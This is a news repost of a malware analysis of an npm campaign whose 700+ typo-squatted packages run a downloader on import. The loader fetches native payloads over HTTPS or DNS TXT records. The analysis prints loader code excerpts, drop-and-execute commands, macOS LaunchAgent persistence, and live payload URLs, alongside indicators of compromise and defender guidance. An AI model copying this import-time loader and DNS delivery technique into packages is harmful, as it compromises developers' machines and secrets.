{"slug": "russian-ai-slopsquatting-publishes-700-malicious-npm-packages", "title": "Russian AI Slopsquatting Publishes 700+ Malicious NPM Packages", "summary": "A threat actor published more than 700 malicious packages to the npm registry over 48 hours, using AI-generated typo-squatted names to deliver a cross-platform RAT and infostealer. The packages, such as checkout-mobile-bnpl@35.6.9, execute upon import via require() without lifecycle scripts, downloading payloads from Cloudflare Workers hosts or DNS TXT records under wel1.ru. The OpenSourceMalware research team analyzed the campaign, which affects Windows, Linux, and macOS with critical severity.", "body_md": "BLOG\n\n# Russian AI Slopsquatting Publishes 700+ Malicious NPM Packages\n\nNUL1DROPPER is a new downloader targeting mobile SDK installs a RAT to Windows, Mac, and Linux with no install script required\n\nBy c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·\n\nOver the course of 48 hours a threat actor has published more than 700 malicious packages to the NPM registry. These packages appear to use AI slop squatted, or randomly generated typo-squatting package names, but all of them deliver a powerful RAT and infostealer payload.\n\nThe NPM packages do not use a `preinstall`\n\nor `postinstall`\n\nscript. It doesn’t need one. The README tells developers to load the library with `require(\"checkout-mobile-bnpl\")`\n\n, and that single call starts the infection chain.\n\nThe downloader supports Windows, Linux, and macOS. It rotates through three Cloudflare Workers hosts for its primary payload delivery and falls back to reconstructing the payload from DNS TXT records hosted under `wel1.ru`\n\n.\n\nThat DNS fallback is the interesting part. Even if defenders block the obvious HTTPS hosts, the package has a second route for delivering the same executable.\n\n## TL;DR\n\n**Threat type:** Cross-platform downloader and dropper**Affected ecosystem:** npm**Malicious package:**`checkout-mobile-bnpl@35.6.9`\n\n**Execution trigger:** Importing the package with`require()`\n\n**Primary delivery:** HTTPS from three`workers.dev`\n\nhosts**Fallback delivery:** Base64-encoded payload chunks in DNS TXT records**Impact:** Downloads and silently executes native malware; the macOS payload establishes persistence and retrieves an additional beacon**Severity:** Critical\n\nThe OpenSourceMalware research team has analyzed multiple packages from this campaign. There are minor differences in the workers.dev C2, but otherwise the payloads are exactly the same.\n\n## A Mobile SDK That Doesn’t Do Much Mobile SDK Work\n\nAt first glance, the example package we chose, `checkout-mobile-bnpl`\n\n, presents itself as a small mobile SDK. Its public API exposes a class with `init()`\n\n, `version()`\n\n, and `configure()`\n\nmethods. None of those methods perform any meaningful checkout or buy-now-pay-later functionality.\n\nThe real behavior is tucked underneath the export at the bottom of `index.js`\n\n:\n\n``` js\nmodule.exports = {\n  CheckoutMobileBnpl,\n  create: (opts) => new CheckoutMobileBnpl(opts),\n  VERSION\n};\n\ntry { require(\"./_helpers\"); } catch (_) {}\n```\n\nThat last line loads `_helpers.js`\n\n. The helper file calls its own `run()`\n\nfunction immediately, so a developer does not need to initialize the alleged SDK or call a suspicious method. Importing the package is enough.\n\nThis is a useful reminder that npm malware does not require lifecycle scripts to execute. Install-script controls help, but they do not protect an application that later imports a malicious dependency during development, testing, or production startup.\n\n## What Does the Package Do?\n\nOnce loaded, the package identifies the operating system and CPU architecture and maps the victim to one of four payload paths:\n\nVictim platform\n\nPayload path\n\nLinux x64\n\n`/pkg/package`\n\nLinux ARM64\n\n`/pkg/package-arm64`\n\nmacOS x64 or ARM64\n\n`/pkg/loader_mac`\n\nWindows x64 or x86\n\n`/pkg/package.exe`\n\nIt shuffles three attacker-controlled hosts and attempts an HTTPS GET against each one:\n\n```\noob-worker.cf103-070.workers.dev\noob-worker.cf102-baf.workers.dev\noob-worker.cf99-9b3.workers.dev\n```\n\nThe request is forced over IPv4, times out after 15 seconds, and uses `node-fetch/2.6`\n\nas its User-Agent. A response is accepted only when the server returns HTTP 200 and more than 1,000 bytes.\n\nThere is no signature check, trusted certificate pinning, expected hash, or other payload verification. Whatever those servers return is treated as an executable.\n\n## When HTTPS Fails, It Downloads the Payload Through DNS\n\nIf all three HTTPS hosts fail, the package switches to a platform-specific domain:\n\nVictim platform\n\nDNS payload domain\n\nLinux x64\n\n`sdk.dl.wel1.ru`\n\nLinux ARM64\n\n`ext.dl.wel1.ru`\n\nmacOS\n\n`pkg.dl.wel1.ru`\n\nWindows\n\n`net.dl.wel1.ru`\n\nThe package first requests a TXT record from `c.<domain>`\n\n. It parses the response as the number of payload chunks, accepting a value between 1 and 2,000.\n\nIt then requests numbered TXT records such as:\n\n```\n0.sdk.dl.wel1.ru\n1.sdk.dl.wel1.ru\n2.sdk.dl.wel1.ru\n```\n\nThe returned strings are joined together and Base64-decoded into a binary buffer:\n\n``` js\nconst cnt = await _dnsQuery(\"c.\" + domain);\nconst n = parseInt(cnt, 10);\n\n// Queries 0.<domain> through (n-1).<domain>\n\nreturn Buffer.from(parts.join(\"\"), \"base64\");\n```\n\nThis is not ordinary DNS service discovery. The TXT records are a secondary payload-delivery channel. DNS monitoring that only looks for known tunneling tools may miss this because the traffic consists of ordinary-looking TXT lookups to a small set of predictable names.\n\n## How the Payload Is Executed\n\nAfter obtaining at least 1,001 bytes through HTTPS or DNS, the downloader generates a random eight-character hexadecimal identifier and writes the payload to disk.\n\nOn Linux and macOS, it uses:\n\n```\n/var/tmp/.cache_<8 hex characters>\n```\n\nThe file is made executable and launched through:\n\n```\n/bin/sh -c \"/var/tmp/.cache_<id> &\"\n```\n\nOn Windows, it uses:\n\n```\n%TEMP%\\dotnet_diag_<8 hex characters>.exe\n```\n\nIt launches the file in the background with:\n\n```\ncmd.exe /c start /b %TEMP%\\dotnet_diag_<id>.exe\n```\n\nBoth execution paths are detached and have their standard input and output ignored. The filenames—`.cache_`\n\non Unix and `dotnet_diag_`\n\non Windows—are designed to look uninteresting among legitimate temporary files.\n\nThe package also creates a marker file to avoid running again for 21,760 seconds, or just over six hours:\n\n```\n/tmp/.analytics_state\n%TEMP%\\analytics_state\n```\n\nThe telemetry naming is camouflage. This file does not store analytics; it is a rate-limit marker for the downloader.\n\n## Is This a Multi-Stage Loader?\n\nThe first-stage JavaScript from the NPM packages behave like a downloader. It makes HTTPS GET requests and DNS TXT queries, but there are no active POST request, credential collection routine, or host-data exfiltration path in `_helpers.js`\n\n. That’s what the second stage is for: The second-stage payload can perform additional discovery, credential theft, persistence, or command-and-control activity that is not visible in the npm package itself.\n\nThe second stage comes in 4 platform specific versions, and the OSM team analyzed all four.\n\nThere are also no hardcoded IP addresses in the package. The Cloudflare Workers and `wel1.ru`\n\nhostnames resolve dynamically, so defenders should prioritize the domain names, DNS queries, process behavior, and dropped-file patterns over a static IP blocklist.\n\n## The 80 KB Telemetry Decoy\n\nThe package contains a second file, `lib/telemetry.js`\n\n, weighing in at roughly 80 KB. It implements a large, plausible-looking telemetry SDK, but buried inside it is another version of the same native downloader design: HTTPS retrieval, DNS TXT reconstruction, temporary-file creation, permission changes, and detached execution.\n\nThe package entry point does not import this file, and it contains no additional hardcoded infrastructure. Its network destinations have to be supplied by a caller. The active infection path is the much smaller `_helpers.js`\n\nfile.\n\nThe oversized telemetry implementation appears intended to add noise and make the malicious behavior look like native profiling or analytics functionality during a quick review.\n\n## Inside the Native Payloads\n\nThe first-stage JavaScript is only the beginning of the chain. The OSM research team analyzed two binaries served by the infrastructure: a Linux x86-64 executable and a universal macOS Mach-O containing both Intel and Apple Silicon versions.\n\nSample\n\nFormat\n\nSHA-256\n\n`oob-worker.cf103-070.workers.dev.linux-second-stage.payload`\n\nLinux x86-64 ELF, statically linked and UPX-packed\n\n`7e486657f30594afda379b97030252a09a19fe8055e25c9e371544f59bd8e9e3`\n\n`oob-worker.cf99-9b3.workers.dev.second.stage.payload`\n\nUniversal macOS Mach-O, x86-64 and ARM64\n\n`c214746c74cae8ece8bdaf69aa05da4db6ce013f9e77452d1eed1a002fd9ba00`\n\n## The macOS Payload Downloads Another Payload\n\nThe macOS binary is not the final stage. It contains an additional download path named:\n\n```\n/pkg/beacon_mac.bin\n```\n\nIt uses `libcurl`\n\nfor HTTPS and `libresolv`\n\nfor direct DNS queries. Its imports include `curl_easy_perform`\n\n, `res_9_query`\n\n, `fork`\n\n, `setsid`\n\n, `execl`\n\n, `chmod`\n\n, `ptrace`\n\n, and `sysctlbyname`\n\n. Together, these support HTTPS and DNS delivery, file installation, detached execution, and anti-debugging.\n\nThe likely macOS attack chain is:\n\nLook for debuggers, instrumentation, packet capture, and VMware.\n\nQuery the machine’s memory size as a likely sandbox heuristic.\n\nTest remote or local health endpoints.\n\nRetrieve\n\n`/pkg/beacon_mac.bin`\n\nthrough a Cloudflare Workers proxy.Fall back to DNS TXT delivery if HTTPS fails.\n\nWrite the payload beneath\n\n`~/.local/share/runtime`\n\n.Create and load a LaunchAgent for persistence.\n\nStart the executable in a detached process.\n\n### More Configuration Hidden With XOR\n\nThe macOS binary hides its infrastructure strings with a single-byte XOR operation using the key `0x9c`\n\n. Static decoding recovered five more Cloudflare Workers hosts:\n\n```\npackage-proxy[.]cf5oobworker.workers.dev\npackage-proxy[.]cf6oobworker.workers.dev\npackage-proxy[.]cf7oobworker.workers.dev\npackage-proxy[.]cf8oobworker.workers.dev\npackage-proxy[.]cf11oobworker.workers.dev\n```\n\nCombined with the embedded `/pkg/beacon_mac.bin`\n\npath, these hosts appear to be third-stage payload proxies. The binary builds requests with the template `https://%s:%d%s`\n\n, so the connection can include an explicit port. The exact configured port could not be recovered confidently from strings alone.\n\nThe macOS loader also contains another DNS delivery domain:\n\n```\ndl[.]wel1.ru\n```\n\nIts query format strings are:\n\n```\nc.%s.%s\n%d.%s.%s\n```\n\nThis suggests a count query followed by numbered payload chunks, likely resembling:\n\n```\nTXT c.<session-or-host-id>.dl.wel1.ru\nTXT 0.<session-or-host-id>.dl.wel1.ru\nTXT 1.<session-or-host-id>.dl.wel1.ru\n```\n\nThat is the same basic delivery technique used by the JavaScript first stage, with an extra session or host label in the query name.\n\n### Health Checks and Possible Decoy Infrastructure\n\nThree other XOR-hidden domains are embedded in both architecture slices:\n\n```\nnexus[.]tcsbank.ru\nrepo-linux[.]tcsbank.ru\nalertmanager[.]cloudpayments.ru\n```\n\nThe binary contains the formatter `https://%s/health`\n\n, so these appear to be health checks, connectivity tests, fallback services, or decoy traffic. Static evidence alone does not prove that every embedded domain is attacker-owned. Defenders should treat them as investigation leads and correlate them with the process and filesystem indicators in this post.\n\nThe binary also probes:\n\n```\nhttp://127.0.0.1:4444/health\n```\n\nThis is the only literal IP address found in either native sample. Because it is the local loopback address, it is not an external C2. It may test whether another local malware component is already active.\n\n## macOS Persistence\n\nThe loader constructs the following directory and file paths beneath the victim’s home directory:\n\n```\n~/.local/share/runtime\n~/.local/share/runtime/.lock\n~/.local/share/runtime/com.apple.runtime\n```\n\nIt also creates:\n\n```\n~/Library/LaunchAgents/com.apple.windowserver.helper.plist\n```\n\nThe embedded plist identifies itself as `com.apple.windowserver.helper`\n\n, runs its configured executable at login, and keeps restarting it after unsuccessful exits. Both standard output and standard error are redirected to `/dev/null`\n\n, and restart attempts are throttled to once every 60 seconds.\n\nThe loader activates the persistence entry with:\n\n```\nlaunchctl load -w '<path>/com.apple.windowserver.helper.plist' 2>/dev/null\n```\n\nThe names `com.apple.runtime`\n\nand `com.apple.windowserver.helper`\n\nare camouflage. Neither artifact is a legitimate Apple component in these locations.\n\n## Anti-Analysis Checks\n\nThe macOS payload explicitly looks for several analysis tools and virtualization artifacts:\n\n```\nlldb\ndebugserver\ndtrace\nfrida\n/usr/local/bin/wireshark\n/Applications/VMware Fusion.app\n/Library/Application Support/VMware Tools\n```\n\nIt imports `ptrace`\n\n, `sysctl`\n\n, and `sysctlbyname`\n\nand queries `hw.memsize`\n\n. This combination indicates debugger detection, instrumentation detection, VMware detection, and a likely low-memory sandbox check.\n\nThe exact reaction to each detected artifact—such as exiting, sleeping, or suppressing network activity—would require further control-flow reconstruction. The anti-analysis intent itself is clear from the combined strings and imports.\n\n## The Linux Payload Is UPX-Packed\n\nThe Linux sample is a statically linked, non-PIE x86-64 ELF with its section header table removed. It contains multiple UPX markers and identifies its packer as UPX 3.96.\n\nThe original program’s code, strings, and configuration are compressed. There is no dynamic section or useful import table, so ordinary static string and import analysis cannot expose its inner behavior. The visible `/proc/self/exe`\n\nstring is consistent with the UPX loader reading its own image and should not be mistaken for an IOC by itself.\n\nThis file downloads a second set of binaries from one of a number of Cloudlfare Worker URLs:\n\n```\nhttps://oob-worker[.]cf99-9b3.workers.dev/pkg/package\nhttps://oob-worker[.]cf99-9b3.workers.dev/pkg/package-arm64\nhttps://oob-worker[.]cf99-9b3.workers.dev/pkg/loader_mac\nhttps://oob-worker[.]cf99-9b3.workers.dev/pkg/package.exe\n```\n\nThis last stage served by the Cloudflare URL delivers what another researcher is describing as a Sliver implant. Sliver is an open-source command and control framework, written in Go, and maintained by Bishop Fox. It is intended to be used by red teams and offensive security practitioners. However, Sliver is often used by malicious threat actors as well. We have not confirmed that this last stage is Sliver yet, but will update this section if we do.\n\n## Attribution\n\nThe use of the wel1[.]ru domain to host the TXT records could indicate that the actor is Russian. Additionally, the malware mentions several Russian financial institutions including cloudpayments[.]ru and tcsbank[.]ru which both appear to be legitimate.\n\nThe OSM team believes that this campaign might be an evolution of the Moika tech malware campaign that saw 250+ NPM packages published to the registry in April/May of this year.\n\nYou can see the OSM list of Moika packages [HERE](https://opensourcemalware.com/?search=%23moika).\n\nThe Moika and wel1dropper campaigns share some tradecraft including:\n\nThe use of the \"oob\" string in file and server names\n\nThe focus on Russian financial institutions and mobile payments\n\nA focus on fake telemetry camoflage to validate legitimacy\n\nMoika and wel1dropper both have kill switches that work in similar ways\n\n## Indicators of Compromise (IOCs)\n\n### Malicious NPM Packages\n\nWe are currently tracking 788 packages in this campaign. You can see them all [HERE](https://opensourcemalware.com/?search=%23wel1dropper).\n\nWe are also maintaining a list of affected packages on [GitHub](https://github.com/OpenSourceMalware/wel1dropper/blob/main/wel1dropper-package-list.csv).\n\n### HTTPS Payload Hosts\n\n```\noob-worker[.]cf103-070.workers.dev\noob-worker[.]cf102-baf.workers.dev\noob-worker[.]cf99-9b3.workers.dev\n\npackage-proxy[.]cf5oobworker.workers.dev\npackage-proxy[.]cf6oobworker.workers.dev\npackage-proxy[.]cf7oobworker.workers.dev\npackage-proxy[.]cf8oobworker.workers.dev\npackage-proxy[.]cf11oobworker.workers.dev\n```\n\n### DNS Payload Domains\n\n```\nsdk[.]dl.wel1.ru\next[.]dl.wel1.ru\npkg[.]dl.wel1.ru\nnet[.]dl.wel1.ru\ndl[.]wel1.ru\n```\n\nDefenders should also search for TXT queries matching:\n\n```\nc.<domain>\n<integer>.<domain>\nc.<session-or-host-id>.dl.wel1.ru\n<integer>.<session-or-host-id>.dl.wel1.ru\n```\n\n### Additional Embedded Domains\n\n```\nnexus[.]tcsbank.ru\nrepo-linux[.]tcsbank.ru\nalertmanager[.]cloudpayments.ru\n```\n\nThese domains are embedded in the macOS sample and appear related to health checks. Static analysis does not establish whether they are attacker-owned, compromised, or used as decoys.\n\n### Payload URL Patterns\n\n```\nhttps://oob-worker[.]cf103-070.workers.dev/pkg/package\nhttps://oob-worker[.]cf103-070.workers.dev/pkg/package-arm64\nhttps://oob-worker[.]cf103-070.workers.dev/pkg/loader_mac\nhttps://oob-worker[.]cf103-070.workers.dev/pkg/package.exe\n\nhttps://oob-worker[.]cf102-baf.workers.dev/pkg/package\nhttps://oob-worker[.]cf102-baf.workers.dev/pkg/package-arm64\nhttps://oob-worker[.]cf102-baf.workers.dev/pkg/loader_mac\nhttps://oob-worker[.]cf102-baf.workers.dev/pkg/package.exe\n\nhttps://oob-worker[.]cf99-9b3.workers.dev/pkg/package\nhttps://oob-worker[.]cf99-9b3.workers.dev/pkg/package-arm64\nhttps://oob-worker[.]cf99-9b3.workers.dev/pkg/loader_mac\nhttps://oob-worker[.]cf99-9b3.workers.dev/pkg/package.exe\n\nhttps://package-proxy[.]cf5oobworker.workers.dev:<port>/pkg/beacon_mac.bin\nhttps://package-proxy[.]cf6oobworker.workers.dev:<port>/pkg/beacon_mac.bin\nhttps://package-proxy[.]cf7oobworker.workers.dev:<port>/pkg/beacon_mac.bin\n\nhttps://package-proxy[.]cf8oobworker.workers.dev:<port>/pkg/beacon_mac.bin\nhttps://package-proxy[.]cf11oobworker.workers.dev:<port>/pkg/beacon_mac.bin\n```\n\n### File and Process Indicators\n\n```\n/tmp/.analytics_state\n/var/tmp/.cache_<8 hex characters>\n%TEMP%\\analytics_state\n%TEMP%\\dotnet_diag_<8 hex characters>.exe\n/bin/sh -c /var/tmp/.cache_<id> &\ncmd.exe /c start /b %TEMP%\\dotnet_diag_<id>.exe\n\n~/.local/share/runtime/.lock\n~/.local/share/runtime/com.apple.runtime\n~/Library/LaunchAgents/com.apple.windowserver.helper.plist\nlaunchctl load -w '<path>/com.apple.windowserver.helper.plist'\n\nhttp://127.0.0.1:4444/health\n```\n\n### SHA-256 Hashes\n\n```\nREADME.md\n0fc30f82e1fa5e51a6c0c43f3ed7f13592ea731cb331e43a4d085df60a4db8b6\n\n_helpers.js\n94ef6b1c4a9d31f78f446d053048bcef34fd88f4376a1a46f7f777a9e9c83a29\n\nindex.js\nb74c5675725911c62091bdf40714df760cc2af7a88360d21065f4e1c878aa8f0\n\npackage.json\ne2650e9aa2f924433ba422857b22ee7c5996b5ad306f3f903283f6a13e248935\n\nlib/telemetry.js\na3e2ffb440b779d30da3ff282affd649731088e8570df7b1aa72742d995b782c\n\nLinux x86-64 native payload\n7e486657f30594afda379b97030252a09a19fe8055e25c9e371544f59bd8e9e3\n\nmacOS universal native payload\nc214746c74cae8ece8bdaf69aa05da4db6ce013f9e77452d1eed1a002fd9ba00\n```\n\n## What Should Defenders Do?\n\nIf you identify that any of these 800+ NPM packages has been installed in your environment, appears in a lockfile, software bill of materials, package-manager cache, build log, or deployed application, do not assume that removing the dependency is sufficient.\n\nDetermine whether the package was ever imported. Review DNS logs for TXT lookups under `wel1.ru`\n\n, proxy logs for all eight Cloudflare Workers hosts, and endpoint telemetry for the dropped-file and process patterns above. On macOS, specifically hunt for the fake runtime executable and LaunchAgent. Because the final beacon remains unavailable for analysis, a confirmed execution should be handled as a potential host compromise.\n\nRotate credentials accessible to affected developer workstations or CI runners, including npm tokens, GitHub tokens, cloud credentials, signing keys, and deployment secrets. Rebuild affected systems from a known-good state where appropriate.\n\n## Conclusion\n\nThis campaign is noisy, but it also packs a punch. It hides behind a minimal SDK facade, executes on import instead of using an install script, supports the three major desktop operating systems, rotates its HTTPS infrastructure, and uses DNS TXT records as a fallback payload channel. Its macOS payload adds anti-analysis checks, user-level persistence, five more download proxies, and another beacon-delivery stage.\n\nThe most important lesson is simple: blocking npm lifecycle scripts does not eliminate npm malware. Dependency code can wait until the application imports it, then do exactly the same damage.\n\nIf you encounter similar packages or suspicious activity, please report them to [OpenSourceMalware.com](https://opensourcemalware.com).\n\nStay safe out there.", "url": "https://wpnews.pro/news/russian-ai-slopsquatting-publishes-700-malicious-npm-packages", "canonical_source": "https://opensourcemalware.com/blog/russian-ai-slopsquatting-npm-campaign", "published_at": "2026-08-06 23:26:00+00:00", "updated_at": "2026-08-09 13:49:52.598419+00:00", "lang": "en", "topics": ["ai-safety", "ai-policy"], "entities": ["OpenSourceMalware", "npm", "Cloudflare Workers", "checkout-mobile-bnpl"], "alternates": {"html": "https://wpnews.pro/news/russian-ai-slopsquatting-publishes-700-malicious-npm-packages", "markdown": "https://wpnews.pro/news/russian-ai-slopsquatting-publishes-700-malicious-npm-packages.md", "text": "https://wpnews.pro/news/russian-ai-slopsquatting-publishes-700-malicious-npm-packages.txt", "jsonld": "https://wpnews.pro/news/russian-ai-slopsquatting-publishes-700-malicious-npm-packages.jsonld"}}